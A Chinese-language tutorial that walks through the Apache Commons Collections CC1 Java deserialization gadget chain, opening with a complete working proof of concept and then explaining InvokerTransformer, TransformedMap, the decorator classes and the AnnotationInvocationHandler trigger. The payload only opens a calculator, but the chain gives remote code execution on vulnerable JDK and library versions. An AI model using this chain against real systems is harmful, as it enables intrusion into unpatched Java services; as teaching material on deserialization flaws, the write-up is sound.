CC1

CC1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package com.govuln.deserialization;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;

import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

class CommonsCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] { "calc.exe" }),
};

Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();

System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

00.接口:Transformer

CC1 链的核心思想是把一次命令执行拆成多个”转换步骤”,让每个步骤看起来都像一个无害的数据操作。Commons Collections 提供了 Transformer 接口来抽象这种转换:

1
2
3
public interface Transformer {
public Object transform(Object input);
}

接口只有一个方法:接收一个对象,返回另一个对象。在正常业务中它用于数据转换(比如把 String 转成 Integer),但在利用中,transform() 会变成反射调用任意方法的入口。

整条 CC1 链的本质:把一个 Runtime.exec() 调用伪装成一系列 Transformer.transform() 串起来的”数据转换管道”。

01.类:InvokerTransformer

InvokerTransformer 是 Transformer 接口的实现类,它的 transform() 用 Java 反射来调用任意方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class InvokerTransformer implements Transformer, Serializable {
private final String iMethodName; // 要调用的方法名
private final Class[] iParamTypes; // 方法参数类型列表
private final Object[] iArgs; // 方法参数值列表

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

public Object transform(Object input) {
if (input == null) return null;
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
}
}

核心逻辑只有三行:

1
2
3
Class cls = input.getClass();                         // ① 拿到 input 的运行时 Class
Method method = cls.getMethod(iMethodName, iParamTypes); // ② 反射获取方法
return method.invoke(input, iArgs); // ③ 调用该方法

三个字段全部由构造函数传入,完全可控。这意味着:只要我们能控制 transform() 的参数,就能调用任意对象的任意方法。

简单验证

1
2
3
4
5
6
7
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invoker = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"open -a Calculator"}
);
invoker.transform(runtime); // → runtime.exec("open -a Calculator") ✓

问题的关键

当前我们能直接拿到 Runtime 对象,所以 invoker.transform(runtime) 可以执行命令。但在反序列化场景中,我们无法直接控制传给 transform() 的参数——反序列化时 JVM 调用的是 readObject(),不是我们写的代码。

所以接下来要解决两个问题:

  1. 谁来调用 transform()? → 找调用了 transform 的类(TransformedMap
  2. 怎么让 transform() 的输入变成 Runtime 对象? → 用 ConstantTransformer + ChainedTransformer 串联(06 节会讲)

02.类:TransformedMap

TransformedMap 是一个装饰器 Map——它在原始 Map 外面包一层,在 putsetValue 时自动用 Transformer 对键/值做转换。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class TransformedMap extends AbstractInputCheckedMapDecorator {
protected final Transformer keyTransformer;
protected final Transformer valueTransformer;

protected TransformedMap(Map map, Transformer keyTransformer,
Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

// ★ 关键方法:setValue 时触发 valueTransformer.transform()
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

protected boolean isSetValueChecking() {
return (valueTransformer != null);
}
}

checkSetValue() 是在 Map.Entry.setValue() 被调用时触发的回调——它内部直接调用 valueTransformer.transform()。如果 valueTransformer 是一个 InvokerTransformer,那么每次有人调用 map entrysetValue,就会触发反射调用。

为什么是 valueTransformer 而不是 keyTransformer?

Map.Entry.setValue() 的语义是修改值,不是修改键(改键会破坏哈希表结构)。所以 checkSetValue 硬编码只调用 valueTransformerkeyTransformer 在这个路径上没有触发点。这就是为什么构造时 keyTransformernull 也不影响利用。

工厂方法 decorate

TransformedMap 的构造方法是 protected 的,不能直接 new。但提供了静态工厂方法:

1
2
3
4
public static Map decorate(Map map, Transformer keyTransformer,
Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

通过它可以把任意 Map 包装成一个”带转换器的 Map”:

1
2
3
4
Map innerMap = new HashMap();
innerMap.put("key", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, invokerTransformer);
// ↑原始Map ↑key不转换 ↑setValue时触发exec

到此我们有了弹药(InvokerTransformer)和扳机(TransformedMap.checkSetValue),但还缺一个扣扳机的人——谁会在我们不知情的情况下调用 entry.setValue()?这就是下一节要回答的问题。

03.类:AbstractInputCheckedMapDecorator

TransformedMap 继承自 AbstractInputCheckedMapDecorator。这个抽象父类实现了装饰器模式,把 checkSetValue 回调嵌入到 Map 的遍历过程中。

装饰器层级

map.entrySet() 开始,一共包了三层:

1
2
3
4
5
6
outerMap.entrySet()
→ new EntrySet(map.entrySet(), this)
.iterator()
→ new EntrySetIterator(collection.iterator(), parent)
.next()
→ new MapEntry(realEntry, parent)

下面逐层拆解:

第一层:EntrySet(包装 entrySet)

1
2
3
4
5
6
7
// AbstractInputCheckedMapDecorator.entrySet()
public Set entrySet() {
if (isSetValueChecking()) { // TransformedMap 返回 true
return new EntrySet(map.entrySet(), this); // 包装原始 entrySet
}
return map.entrySet();
}

outerMap.entrySet() 返回的不是 HashMap 的原始 entrySet,而是一个 EntrySet 包装对象。this(即 TransformedMap 自身)被存为 parent

第二层:EntrySetIterator(包装迭代器)

1
2
3
4
5
// EntrySet.iterator()
public Iterator iterator() {
return new EntrySetIterator(collection.iterator(), parent);
// ↑ 原始 HashMap 的迭代器 ↑ TransformedMap
}

outerMap.entrySet().iterator() 返回 EntrySetIterator,内部包裹了原始 HashMap 的迭代器,同时持有 TransformedMap 引用。

第三层:MapEntry(包装 Entry,挂载 checkSetValue)

1
2
3
4
5
// EntrySetIterator.next()
public Object next() {
Map.Entry entry = (Map.Entry) iterator.next(); // 从 HashMap 取出原始 entry
return new MapEntry(entry, parent); // ★ 包一层 MapEntry
}

当增强 for 循环遍历 outerMap 时,it.next() 拿到的是 MapEntry,不是 HashMap.Entry。

MapEntry.setValue() 才是整条链的关键:

1
2
3
4
5
// MapEntry.setValue()
public Object setValue(Object value) {
value = parent.checkSetValue(value); // ← parent = TransformedMap
return entry.setValue(value); // 调用 checkSetValue → transform
}

增强 for 循环如何触发这一切

Java 的增强 for 循环:

1
2
3
for (Map.Entry entry : outerMap.entrySet()) {
entry.setValue(runtime);
}

编译器实际展开为:

1
2
3
4
5
Iterator it = outerMap.entrySet().iterator();  // → EntrySetIterator
while (it.hasNext()) {
Map.Entry entry = (Map.Entry) it.next(); // → MapEntry
entry.setValue(runtime); // → checkSetValue → transform → exec
}

由于多态,每一步返回的都是装饰后的子类对象,而非原始的 HashMap 实现。

装饰器模式总结

1
2
3
4
5
6
调用方 →  EntrySet         (包装 Set,覆写 iterator)
→ EntrySetIterator (包装 Iterator,覆写 next)
→ MapEntry (包装 Entry,覆写 setValue → checkSetValue)
→ TransformedMap.checkSetValue()
→ InvokerTransformer.transform()
→ Runtime.exec() ✓

每层实现同一个接口(Set / Iterator / Entry),在上层方法中插入自己的逻辑(挂载回调),其余方法原样委托给内层。这就是装饰器模式的精髓。

04.攻击链(手动触发验证)

在进入反序列化之前,先用手动调用 setValue 的方式验证整条链是否贯通。

1
2
3
4
5
6
7
8
9
10
11
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});

HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value");
Map<Object, Object> transformedmap = TransformedMap.decorate(map, null, invokerTransformer);

for (Map.Entry entry : transformedmap.entrySet()) {
entry.setValue(runtime); // ★ 手动触发
}

I 构造套娃结构

1
2
3
HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value");
Map<Object, Object> transformedmap = TransformedMap.decorate(map, null, invokerTransformer);

产生的对象结构:

1
2
3
4
transformedmap (TransformedMap)
├─ map = HashMap { "key" → "value" }
├─ keyTransformer = null
└─ valueTransformer = invokerTransformer ← exec("open -a Calculator")

II 增强 for 循环展开

1
2
3
for (Map.Entry entry : transformedmap.entrySet()) {
entry.setValue(runtime);
}

编译器等价于:

1
2
3
4
5
Iterator it = transformedmap.entrySet().iterator();  // ① ②
while (it.hasNext()) {
Map.Entry entry = (Map.Entry) it.next(); // ③
entry.setValue(runtime); // ④ ⑤ ⑥
}

III 逐步跟踪

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
① transformedmap.entrySet()

isSetValueChecking() 返回 true,走包装逻辑:

// AbstractInputCheckedMapDecorator.entrySet()
return new EntrySet(map.entrySet(), this);

返回:EntrySet { collection=HashMap的entrySet, parent=TransformedMap }

② .iterator()

// EntrySet.iterator()
return new EntrySetIterator(collection.iterator(), parent);

③ .next()

// EntrySetIterator.next()
Map.Entry realEntry = (Map.Entry) iterator.next(); // HashMap 的原始 entry
return new MapEntry(realEntry, parent); // 包装成 MapEntry

循环变量 entry 的实际类型是 MapEntry,不是 HashMap.Entry。

④ entry.setValue(runtime)

// MapEntry.setValue(runtime)
value = parent.checkSetValue(value); // ← 关键转折
return entry.setValue(value);

⑤ parent.checkSetValue(runtime)

// TransformedMap.checkSetValue(runtime)
return valueTransformer.transform(runtime); // → invokerTransformer

⑥ invokerTransformer.transform(runtime)

// InvokerTransformer.transform(runtime)
Class cls = input.getClass(); // → Runtime.class
Method method = cls.getMethod("exec", String.class); // → exec(String)
return method.invoke(input, "open -a Calculator"); // → 弹出计算器 ✓

Java 的实例方法调用是基于运行时实际类型的动态分发(多态),而非变量的声明类型。这也是为什么调试是学习利用链必不可少的一环——只有运行时才能看到每一步究竟走的是哪个子类的哪个方法。

05.反序列化利用

前面的 04 节只是在本地手动调用 entry.setValue() 来触发,真正的漏洞需要在反序列化过程中自动触发。

AnnotationInvocationHandler.readObject()

AnnotationInvocationHandler 是 JDK 内部用于处理注解动态代理的类,它实现了 Serializable 接口,在反序列化时会自动调用 readObject()

JDK 8u71 之前的 readObject() 源码(关键部分):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
throw new java.io.InvalidObjectException(
"Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Object value = null;
Class<?> memberType = memberTypes.get(name);
if (memberType != null) {
value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
// ★ 关键触发点:类型不匹配时调用 setValue
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass().getName() + "[" + value + "]")
.setMember(annotationType.members().get(name)));
}
}
}
}

注意:JDK 8u71 之后 readObject() 被重写,移除了 setValue 调用,改为构建一个新的 LinkedHashMap。因此基于 TransformedMap 的 CC1 链仅适用于 JDK 8u71 之前的版本。

类型不匹配如何触发 setValue

@Retention 注解的定义:

1
2
3
public @interface Retention {
RetentionPolicy value(); // 唯一成员,类型是 RetentionPolicy 枚举
}

回到我们的构造代码:

1
2
3
4
5
6
7
8
Map innerMap = new HashMap();
innerMap.put("value", "xxxx"); // key="value" 匹配注解成员名,值类型为 String
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

InvocationHandler handler = (InvocationHandler) construct.newInstance(
Retention.class, // ← 注解类型是 Retention
outerMap // ← memberValues 是 decorated 的 TransformedMap
);

readObject() 执行到类型检查时:

  1. memberValue.getKey()"value"(匹配 Retention 注解的成员名)
  2. memberTypeRetentionPolicy.class(注解期望的成员类型)
  3. memberValue.getValue()"xxxx"(我们塞入的 String)
  4. memberType.isInstance("xxxx") → false(String 不是 RetentionPolicy 实例)
  5. "xxxx" instanceof ExceptionProxy → false
  6. 条件成立 → 执行 memberValue.setValue(...)

完整触发链路

紧跟 04 节分析过的装饰器链路,这次 setValue 是由 readObject() 自动调用的:

1
2
3
4
5
6
ObjectInputStream.readObject()
└─ AnnotationInvocationHandler.readObject()
└─ memberValue.setValue(proxy) // 类型不匹配,触发 setValue
└─ MapEntry.setValue(proxy) // AbstractInputCheckedMapDecorator
└─ parent.checkSetValue(proxy) // parent = TransformedMap
└─ valueTransformer.transform(proxy) // ★ 进入 Transformer 链

对比 04 节的手动调用:

1
2
3
4
5
// 04 节:手动触发
entry.setValue(runtime); // 传入 Runtime 对象

// 05 节:反序列化自动触发
memberValue.setValue(AnnotationTypeMismatchExceptionProxy); // 传入类型错误代理对象

两者的输入不同(Runtime vs ExceptionProxy),但只要 Transformer 链的第一个是 ConstantTransformer,输入是什么都无所谓 —— 因为它会直接忽略输入,返回固定的 Runtime.class。这就是下一节要讲的内容。

在 JDK 8u71 之后,readObject() 不再调用 setValue,而是直接把值 put 进一个新的 LinkedHashMap。这意味着 TransformedMap 版本的 CC1 在这里断掉了。后续出现的 CC1-LazyMap 变体通过 AnnotationInvocationHandler.invoke() 中的 memberValues.get() 调用来绕过这个限制。


06.类:ChainedTransformer & ConstantTransformer

ConstantTransformer

1
2
3
4
5
6
7
8
9
10
11
public class ConstantTransformer implements Transformer, Serializable {
private final Object iConstant;

public ConstantTransformer(Object constantToReturn) {
iConstant = constantToReturn;
}

public Object transform(Object input) {
return iConstant; // ← 完全忽略 input,只返回构造时传入的常量
}
}

作用:无论输入是什么,始终返回构造时设定的固定对象。

在我们的 Payload 中:

1
2
new ConstantTransformer(Runtime.class)
// 无论 transform() 收到什么参数,都返回 Runtime.class

这是整条链能够”冷启动”的关键——checkSetValue 传入的 AnnotationTypeMismatchExceptionProxy 被直接丢弃,输出变成 Runtime.class,为后续反射调用铺路。

ChainedTransformer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class ChainedTransformer implements Transformer, Serializable {
private final Transformer[] iTransformers;

public ChainedTransformer(Transformer[] transformers) {
iTransformers = transformers;
}

public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
// ↑ 上一个的输出 → 作为下一个的输入
}
return object;
}
}

作用:把多个 Transformer 串联起来,前一个的输出作为后一个的输入。

就像一个流水线:

1
输入 → [Transformer1] → [Transformer2] → [Transformer3] → ... → 输出

为什么必须用 ConstantTransformer 打头

如果在 checkSetValue 之后直接接 InvokerTransformer("exec", ...)

1
2
3
4
checkSetValue 传入 → AnnotationTypeMismatchExceptionProxy
→ InvokerTransformer.transform(proxy)
→ proxy.getClass().getMethod("exec", String.class)
→ ExceptionProxy 类没有 exec 方法 → 直接报错!

所以必须用 ConstantTransformer “重置” 输入,把 ExceptionProxy 替换成 Runtime.class,后续的反射链才能正确执行。


07.Payload 完整串联

四层 Transformer 分步解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Transformer[] transformers = new Transformer[] {
// ① 冷启动:忽略任意输入,返回 Runtime.class
new ConstantTransformer(Runtime.class),

// ② 反射获取 getRuntime 方法
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class }, // getMethod 的参数类型
new Object[] { "getRuntime", new Class[0] }), // 方法名 + 空参数

// ③ invoke 调用 getRuntime() 拿到 Runtime 实例
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }), // null=静态方法调用

// ④ 调用 exec 执行命令
new InvokerTransformer("exec",
new Class[] { String.class },
new String[] { "calc.exe" }),
};

逐步展开:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
① ConstantTransformer.transform(proxy)
忽略 proxy → 返回 Runtime.class

② InvokerTransformer("getMethod", ...).transform(Runtime.class)
Runtime.class.getMethod("getRuntime", new Class[0])
→ 返回 java.lang.reflect.Method 对象 (指向 Runtime.getRuntime())

③ InvokerTransformer("invoke", ...).transform(method对象)
method.invoke(null, new Object[0]) // null = 静态方法,不需要实例
→ 返回 Runtime 实例 (等价于 Runtime.getRuntime())

④ InvokerTransformer("exec", ...).transform(Runtime实例)
runtime.exec("calc.exe")
→ 弹出计算器 ✓

完整调用链一览

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ObjectInputStream.readObject()                              // 反序列化入口
└─ AnnotationInvocationHandler.readObject() // JDK 内部方法
│ memberValues = TransformedMap { "value" → "xxxx" }
│ type = Retention.class

├─ 遍历 memberValues.entrySet() // ★ 触发装饰器 EntrySet
│ └─ EntrySetIterator.next() → 返回 MapEntry

├─ memberType = RetentionPolicy.class (注解期望类型)
├─ value = "xxxx" (实际类型: String)
├─ memberType.isInstance("xxxx") = false // ★ 类型不匹配

└─ memberValue.setValue(proxy) // ★ 调用 setValue
└─ MapEntry.setValue(proxy)
└─ parent.checkSetValue(proxy)
└─ valueTransformer.transform(proxy)
└─ ChainedTransformer.transform(proxy)
├─ ① ConstantTransformer → Runtime.class
├─ ② getMethod("getRuntime") → Method 对象
├─ ③ invoke(null) → Runtime 实例
└─ ④ exec("calc.exe") → RCE ✓

两个为什么

为什么 innerMap.put("value", "xxxx") 的 key 必须是 "value"

@Retention 注解只有一个成员,名字就是 value

1
2
3
public @interface Retention {
RetentionPolicy value();
}

readObject() 中用 memberValue.getKey()memberTypes 里查:

1
2
3
Class<?> memberType = memberTypes.get(name);  // name = "value"
// ↑ 如果传 "foo",memberTypes 里没有 → memberType = null
// 直接跳过,不进入 setValue 分支

所以 key 必须与注解成员名匹配,否则连 memberType != null 的条件都过不去。

为什么用 valueTransformer 而不是 keyTransformer

回到 02 节 TransformedMap.checkSetValue()

1
2
3
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value); // ← 硬编码,只用 valueTransformer
}

Map.Entry.setValue() 的语义就是修改值而不是键,这是 Map 接口的设计约束——通过 entry 改 key 会破坏哈希表结构。因此 Commons Collections 根本没有提供 checkSetKey() 这样的方法,keyTransformersetValue 路径上没有触发点。这就是为什么 decorate(map, null, chain)keyTransformernull 不影响利用。

版本限制总结:

  • JDK ≤ 8u71(readObject 中有 setValue 调用)
  • Commons Collections 3.1 ~ 3.2.1